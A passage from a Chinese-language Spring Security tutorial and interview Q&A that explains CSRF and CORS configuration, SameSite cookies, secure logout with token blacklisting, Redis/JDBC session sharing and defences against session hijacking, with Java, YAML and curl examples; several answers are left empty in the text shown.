}正确理解:
// √ 正确:CORS 和权限分别配置
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) {
http
.cors(cors -> cors.configurationSource(corsConfigurationSource()))
.authorizeHttpRequests(authz -> authz
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
);
return http.build();
}问题:
// × 错误:不分析场景直接禁用 CSRF
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) {
http.csrf(csrf -> csrf.disable());
return http.build();
}正确分析:
前后端分离 + JWT(Token 在请求头)
→ CSRF 风险低,可以禁用
前后端分离 + Session(Cookie 认证)
→ CSRF 风险高,不应禁用
前后端分离 + JWT(但 Token 在 Cookie 中)
→ CSRF 风险高,需要启用防护问题:
正确理解:
Session:服务端存储的会话状态
Cookie:浏览器存储的小数据片段
Token:无状态的认证凭证
Session 模式:
Session 存服务端,Cookie 存 Session ID
JWT 模式:
Token 包含所有信息,无需服务端存储问题:
// × 登出只是返回成功,实际 Token 仍可用
@PostMapping("/logout")
public ResponseEntity<?> logout() {
return ResponseEntity.ok("Logged out");
}正确做法:
// √ 登出时使 Session 或 Token 真正失效
@PostMapping("/logout")
public ResponseEntity<?> logout(
HttpServletRequest request,
HttpServletResponse response,
@RequestHeader(value = "Authorization", required = false) String authHeader) {
// Session 模式
HttpSession session = request.getSession(false);
if (session != null) {
session.invalidate();
}
// JWT 模式
if (authHeader != null && authHeader.startsWith("Bearer ")) {
String token = authHeader.substring(7);
tokenBlacklistService.addToBlacklist(token);
}
// 清除 Cookie
CookieClearingLogoutHandler handler =
new CookieClearingLogoutHandler("SESSION", "remember-me");
handler.logout(request, response, null);
return ResponseEntity.ok().build();
}问题:
浏览器错误:
Access to XMLHttpRequest at 'https://api.example.com/users'
from origin 'https://www.example.com' has been blocked by CORS policy开发者误认为是后端拒绝了请求,实际是浏览器拦截了响应。
正确排查:
1. 检查是否是 CORS 问题
- 错误信息包含 "CORS policy"
- Network 面板显示请求发送成功
- Response 正常但前端无法读取
2. 检查 CORS 配置
- Access-Control-Allow-Origin 是否正确
- 是否允许携带凭证
- 预检请求是否正确处理
3. 检查认证问题
- 错误信息是 401/403
- Network 面板显示请求失败
- Response 包含错误信息1. CSRF 和 CORS 分别解决什么问题?
答:
CSRF(Cross-Site Request Forgery,跨站请求伪造):
CORS(Cross-Origin Resource Sharing,跨源资源共享):
区别:
2. 为什么 Session 模式更要关注 CSRF?
答: Session 模式下:
JWT 模式下(如果 Token 不在 Cookie 中):
3. 前后端分离项目里什么时候可以弱化 CSRF 风险讨论?
答: 可以弱化 CSRF 风险讨论的条件:
但需要注意:
4. 为什么 CORS 配置不能简单全开?
答: CORS 全开(Allow-Origin: *)的风险:
正确配置:
5. 描述 CSRF Token 防护机制的完整流程。
答:
1. Token 生成:
服务器生成随机 Token
↓
绑定到用户 Session
↓
存储在服务端(Session 或 Cookie)2. Token 分发:
方式一:表单隐藏字段
<form>
<input type="hidden" name="_csrf" value="token-value"/>
</form>
方式二:Cookie
Set-Cookie: XSRF-TOKEN=token-value; Path=/3. Token 提交:
方式一:表单参数
POST /transfer
_csrf=token-value&to=account&amount=100
方式二:请求头
POST /transfer
X-XSRF-TOKEN: token-value4. Token 验证:
服务器提取请求中的 Token
↓
对比 Session 中的 Token
↓
匹配 → 请求通过
不匹配 → 拒绝请求(403)5. Token 刷新:
每次请求后可选择生成新 Token
↓
确保 Token 一次性使用
↓
防止重放攻击6. CORS 预检请求是什么?为什么要预检?
答:
预检请求(Preflight Request): 不符合"简单请求"条件的跨域请求,浏览器会先发送一个 OPTIONS 请求,询问服务器是否允许实际请求。
触发条件:
预检流程:
1. 浏览器发送 OPTIONS 请求
OPTIONS /api/users
Origin: https://www.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization
2. 服务器响应允许
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Methods: POST, GET, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 3600
3. 浏览器发送实际请求
POST /api/users
Origin: https://www.example.com
Content-Type: application/json
Authorization: Bearer xxx
4. 服务器响应实际请求为什么要预检:
7. Cookie 的 SameSite 属性有哪些值?各有什么作用?
答:
Strict:
Set-Cookie: SESSION=abc123; SameSite=StrictLax(推荐):
Set-Cookie: SESSION=abc123; SameSite=LaxNone:
Set-Cookie: SESSION=abc123; SameSite=None; Secure对比表:
| 请求类型 | Strict | Lax | None |
|---|---|---|---|
| 同站请求 | √ 携带 | √ 携带 | √ 携带 |
| 跨站顶级导航 GET | × 不携带 | √ 携带 | √ 携带 |
| 跨站表单 POST | × 不携带 | × 不携带 | √ 携带 |
| 跨站 AJAX | × 不携带 | × 不携带 | √ 携带 |
| 跨站 iframe | × 不携带 | × 不携带 | √ 携带 |
8. 如何在 Spring Security 中配置 Session 并发控制?
答:
单设备登录(踢掉旧登录):
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.sessionManagement(session -> session
.maximumSessions(1) // 每个用户只能有一个 Session
.maxSessionsPreventsLogin(false) // 新登录踢掉旧登录
.sessionRegistry(sessionRegistry())
);
return http.build();
}
@Bean
public SessionRegistry sessionRegistry() {
return new SessionRegistryImpl();
}
@Bean
public HttpSessionEventPublisher httpSessionEventPublisher() {
return new HttpSessionEventPublisher();
}单设备登录(阻止新登录):
.sessionManagement(session -> session
.maximumSessions(1)
.maxSessionsPreventsLogin(true) // 已登录则阻止新登录
.sessionRegistry(sessionRegistry())
)多设备登录限制:
.sessionManagement(session -> session
.maximumSessions(3) // 最多 3 个设备
.maxSessionsPreventsLogin(false)
.sessionRegistry(sessionRegistry())
)自定义会话过期处理:
.sessionManagement(session -> session
.maximumSessions(1)
.expiredSessionStrategy(event -> {
HttpServletResponse response = event.getResponse();
response.setContentType("application/json;charset=UTF-8");
response.getWriter().write(
"{\"error\":\"Session expired\",\"code\":401}"
);
})
)监听会话事件:
@Component
public class SessionEventListener {
@EventListener
public void onSessionCreated(SessionCreatedEvent event) {
String sessionId = event.getSessionId();
log.info("Session created: {}", sessionId);
}
@EventListener
public void onSessionDestroyed(SessionDestroyedEvent event) {
String sessionId = event.getSessionId();
log.info("Session destroyed: {}", sessionId);
}
}9. 如何排查 CORS 跨域问题?
答:
排查步骤:
1. 确认是 CORS 问题:
错误特征:
- 浏览器控制台显示 "CORS policy" 错误
- Network 面板显示请求已发送
- Response 正常但前端无法读取2. 检查请求类型:
// 检查是否触发了预检
console.log('Request method:', method);
console.log('Request headers:', headers);
// 如果是预检失败,检查 OPTIONS 请求
// Network 面板查找 OPTIONS 请求3. 检查服务器配置:
# 使用 curl 测试 CORS
curl -i -X OPTIONS https://api.example.com/users \
-H "Origin: https://www.example.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type"
# 检查响应头
# 应该包含:
# Access-Control-Allow-Origin: https://www.example.com
# Access-Control-Allow-Methods: POST, GET, PUT, DELETE
# Access-Control-Allow-Headers: Content-Type4. 常见问题解决:
问题一:Origin 不匹配
配置: Access-Control-Allow-Origin: https://example.com
请求: Origin: https://www.example.com
解决: 确保域名完全一致,包括 www 前缀问题二:Allow-Credentials 与通配符冲突
× 错误配置:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
√ 正确配置:
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true问题三:预检缓存过期
解决方案:增加 Max-Age
Access-Control-Max-Age: 3600问题四:Spring Security 拦截预检请求
// 放行 OPTIONS 请求
.authorizeHttpRequests(authz -> authz
.requestMatchers(HttpMethod.OPTIONS, "/**").permitAll()
.anyRequest().authenticated()
)10. 如何设计安全的登出流程?
答:
完整登出流程:
@RestController
@RequestMapping("/auth")
public class LogoutController {
@Autowired
private TokenBlacklistService tokenBlacklistService;
@Autowired
private SessionRegistry sessionRegistry;
@PostMapping("/logout")
public ResponseEntity<?> logout(
HttpServletRequest request,
HttpServletResponse response,
@RequestHeader(value = "Authorization", required = false) String authHeader) {
// 1. 处理 JWT Token
if (authHeader != null && authHeader.startsWith("Bearer ")) {
String token = authHeader.substring(7);
// 解析 Token 获取过期时间
Claims claims = jwtTokenProvider.parseToken(token);
long expirationTime = claims.getExpiration().getTime();
// 将 Token 加入黑名单
tokenBlacklistService.addToBlacklist(token, expirationTime);
}
// 2. 处理 Session
HttpSession session = request.getSession(false);
if (session != null) {
// 使 Session 失效
session.invalidate();
// 从 SessionRegistry 中移除
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
if (auth != null) {
sessionRegistry.removeSessionInformation(session.getId());
}
}
// 3. 清除 Remember-Me Cookie
CookieClearingLogoutHandler cookieLogoutHandler =
new CookieClearingLogoutHandler("JSESSIONID", "remember-me");
cookieLogoutHandler.logout(request, response, null);
// 4. 清除 SecurityContext
SecurityContextHolder.clearContext();
// 5. 记录审计日志
auditService.logLogout(request.getRemoteAddr());
return ResponseEntity.ok().build();
}
// 登出所有设备
@PostMapping("/logout-all")
public ResponseEntity<?> logoutAll(Authentication auth) {
String userId = auth.getName();
// 撤销所有 Refresh Token
tokenBlacklistService.revokeAllUserTokens(userId);
// 使所有 Session 失效
sessionRegistry.getAllSessions(auth, false)
.forEach(SessionInformation::expireNow);
return ResponseEntity.ok().build();
}
}前端处理:
async function logout() {
try {
await api.post('/auth/logout');
} finally {
// 无论请求成功与否,都清除本地存储
localStorage.removeItem('access_token');
sessionStorage.clear();
// 清除 Cookie(如果 Token 在 Cookie 中)
Cookies.remove('refresh_token');
// 跳转到登录页
window.location.href = '/login';
}
}11. 如何实现 Session 集群共享?
答:
方案一:Spring Session + Redis
<dependency>
<groupId>org.springframework.session</groupId>
<artifactId>spring-session-data-redis</artifactId>
</dependency>@Configuration
@EnableRedisHttpSession
public class RedisSessionConfig {
@Bean
public LettuceConnectionFactory redisConnectionFactory() {
return new LettuceConnectionFactory(
new RedisStandaloneConfiguration("redis-host", 6379)
);
}
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setCookieName("SESSION");
serializer.setUseHttpOnlyCookie(true);
serializer.setSameSite("Lax");
serializer.setUseSecureCookie(true);
return serializer;
}
}spring:
session:
redis:
namespace: "myapp:session"
timeout: 30m
redis:
host: redis-host
port: 6379方案二:Spring Session + JDBC
<dependency>
<groupId>org.springframework.session</groupId>
<artifactId>spring-session-jdbc</artifactId>
</dependency>@Configuration
@EnableJdbcHttpSession
public class JdbcSessionConfig {
// 自动创建表 SPRING_SESSION 和 SPRING_SESSION_ATTRIBUTES
}spring:
session:
jdbc:
initialize-schema: always
table-name: SPRING_SESSION
timeout: 30m方案三:粘性 Session(Sticky Session)
通过负载均衡器配置,同一用户的请求总是路由到同一服务器。
优点:
- 无需额外存储
- 实现简单
缺点:
- 服务器宕机会丢失 Session
- 负载不均衡
- 不适合高可用场景推荐方案:
12. 如何防止 Session 劫持?
答:
Session 劫持方式:
防护措施:
1. Session 固定攻击防护
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http)
throws Exception {
http
.sessionManagement(session -> session
.sessionFixation(sessionFixation ->
sessionFixation.migrateSession() // 登录时更换 Session ID
)
);
return http.build();
}2. Cookie 安全属性
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setUseHttpOnlyCookie(true); // 防止 XSS 读取
serializer.setUseSecureCookie(true); // 仅 HTTPS 传输
serializer.setSameSite("Strict"); // 防止 CSRF
return serializer;
}3. Session 绑定设备信息
@Component
public class SessionSecurityFilter extends OncePerRequestFilter {
@Override
protected void doFilterInternal(
HttpServletRequest request,
HttpServletResponse response,
FilterChain filterChain) throws ServletException, IOException {
HttpSession session = request.getSession(false);
if (session != null) {
// 检查 User-Agent
String storedAgent = (String) session.getAttribute("user-agent");
String currentAgent = request.getHeader("User-Agent");
if (storedAgent != null && !storedAgent.equals(currentAgent)) {
// User-Agent 不匹配,可能是 Session 劫持
session.invalidate();
response.sendError(401, "Session invalid");
return;
}
// 检查 IP(可选,可能影响移动用户)
String storedIp = (String) session.getAttribute("ip");
String currentIp = request.getRemoteAddr();
if (storedIp != null && !storedIp.equals(currentIp)) {
// IP 不匹配,记录日志
log.warn("Session IP mismatch: stored={}, current={}",
storedIp, currentIp);
// 可选:要求重新认证
}
}
filterChain.doFilter(request, response);
}
}4. Session 超时和刷新
server:
servlet:
session:
timeout: 30m # 合理的超时时间5. 审计和监控
@EventListener
public void onSessionCreated(SessionCreatedEvent event) {
String sessionId = event.getSessionId();
HttpServletRequest request =
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes())
.getRequest();
// 记录 Session 创建日志
auditService.logSessionCreate(
sessionId,
request.getRemoteAddr(),
request.getHeader("User-Agent")
);
}
@EventListener
public void onSessionDestroyed(SessionDestroyedEvent event) {
String sessionId = event.getSessionId();
auditService.logSessionDestroy(sessionId);
}6. HTTPS 强制
server:
ssl:
enabled: true
# 强制 HTTPS
servlet:
session:
cookie:
secure: true| 特性 | 旧版(Spring Security 5.x) | Spring Security 6.x |
|---|---|---|
| CSRF | 默认开启 | 默认开启;6.0 起默认 BREACH 防护(XorCsrfTokenRequestAttributeHandler) |
| CORS | 手动配置 | 不变;支持 CorsConfigurationSource Bean |
| 会话管理 | HttpSession | 不变;虚拟线程下会话线程安全 |
| SameSite | 无 | 默认支持 SameSite=Lax/Strict |
| 安全头 | 默认注入 | 不变 |